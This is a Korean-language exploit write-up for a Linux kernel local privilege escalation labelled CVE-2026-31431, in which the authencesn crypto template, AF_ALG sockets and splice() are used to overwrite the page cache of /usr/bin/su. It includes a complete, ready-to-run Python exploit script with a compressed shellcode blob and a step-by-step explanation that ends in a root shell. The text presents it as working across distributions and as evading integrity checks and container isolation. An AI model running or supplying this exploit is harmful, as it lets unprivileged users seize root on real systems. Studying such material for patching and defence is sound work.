
CVE-2026-31431에 대한 로컬 권한 상승 익스플로잇으로, AF_ALG와 splice를 통해 페이지 캐시의 setuid 바이너리를 손상시켜 루트 셸을 획득합니다.
Linux 커널의 AEAD 템플릿
authencesn의 논리적 오류로 인해 권한이 없는 사용자가 읽을 수 있는 모든 파일의 페이지 캐시에 제어된 4바이트를 쓸 수 있습니다.
제공된 Python 스크립트는 메모리에서
/usr/bin/su를 손상시키고 루트 셸을 생성합니다.
CVE-2026-31431은 Linux 커널의 암호화 하위 시스템, 특히 authencesn(확장 시퀀스 번호를 사용하는 AEAD) 템플릿이 AF_ALG 소켓 인터페이스 및 splice() 시스템 호출과 결합될 때 발생하는 취약점입니다.
근본 원인: authencesn 복호화 루틴은 대상 산란 리스트를 임시 공간으로 사용하여 합법적인 출력 영역을 넘어 4바이트를 추가로 씁니다.
AF_ALG가 제자리(in situ) AEAD 연산을 수행하고 splice()가 페이지 캐시 페이지(예: setuid 바이너리)를 인증 태그로 제공할 때, 경계를 벗어난 쓰기는 해당 파일의 커널 캐시 복사본에 직접 기록됩니다.
효과: 권한이 없는 로컬 공격자는 읽을 수 있는 모든 파일의 4바이트 정렬 위치를 덮어쓸 수 있습니다. 손상은 페이지 캐시에서만 발생하며 디스크의 파일은 변경되지 않으므로 파일 무결성 검사를 우회합니다.
영향: setuid 바이너리(예: /usr/bin/su)를 셸코드로 덮어쓰면 공격자는 해당 바이너리를 실행하여 루트 셸을 얻을 수 있습니다. 페이지 캐시는 호스트와 공유되므로 동일한 프리미티브가 서로 다른 컨테이너에서도 작동합니다.
exploi-copyfail.py)이 익스플로잇은 표준 라이브러리(os, socket, zlib)만 사용하는 732바이트 단일 Python 스크립트입니다. 2017년부터 2026년(패치 이전)까지의 커널 버전을 사용하는 모든 Linux 배포판에서 작동합니다.
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try: u.recv(8 + t)
except: 0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
c(f, i, e[i:i + 4])
i += 4
g.system("su")
설정: authencesn(hmac(sha256),cbc(aes))에 바인딩된 AF_ALG 소켓을 열고, 더미 키를 설정한 후 요청을 수락합니다.
페이로드: 셸코드(hex blob에서 압축 해제됨)를 4바이트 조각으로 나눕니다.
손상 루프: 각 조각에 대해:
sendmsg()는 인증된 연관 데이터(AAD)를 제공합니다. AAD의 4~7번째 바이트에는 기록할 4바이트가 포함됩니다.
splice()는 /usr/bin/su(대상 setuid 바이너리)의 일부를 소켓의 TX 산란 리스트에 삽입합니다. 오프셋과 길이는 인증 태그 영역이 바이너리의 .text 섹션 내 대상 주소에 위치하도록 선택됩니다.
recv()는 AEAD 복호화를 트리거하며, authencesn은 4바이트 조각을 /usr/bin/su의 페이지 캐시에 씁니다. HMAC는 실패하지만 쓰기는 유지됩니다.
실행: 모든 조각이 기록되면 스크립트는 su를 실행합니다. 캐시된 버전에 이제 셸코드가 포함되어 있으므로 su는 루트 권한으로 실행되어 셸을 엽니다.